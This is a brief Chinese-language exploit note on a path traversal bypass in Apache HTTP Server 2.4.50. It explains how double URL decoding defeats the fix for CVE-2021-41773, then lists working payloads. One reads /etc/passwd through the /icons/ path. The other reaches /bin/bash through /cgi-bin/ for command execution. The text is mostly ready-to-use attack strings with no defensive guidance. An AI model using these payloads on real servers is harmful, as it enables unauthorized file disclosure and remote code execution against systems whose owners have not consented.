漏洞原理
Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,使得需进行两次解码,但即使这样仍然会导致路径穿越。
文件读取payload
因为点.的url编码是%2e所以之后可以对2进行一次编码或者对e进行一次编码进行构造payload
# 下列payload是先对一个点.进行URL编码为%2e,之后对e单独编码得出%2%65
/icons/%2%65%2%65/%2%65%2%65/%2%65%2%65/%2%65%2%65/etc/passwd
命令执行payload
/cgi-bin/%2%65%2%65/%2%65%2%65/%2%65%2%65/%2%65%2%65/bin/bash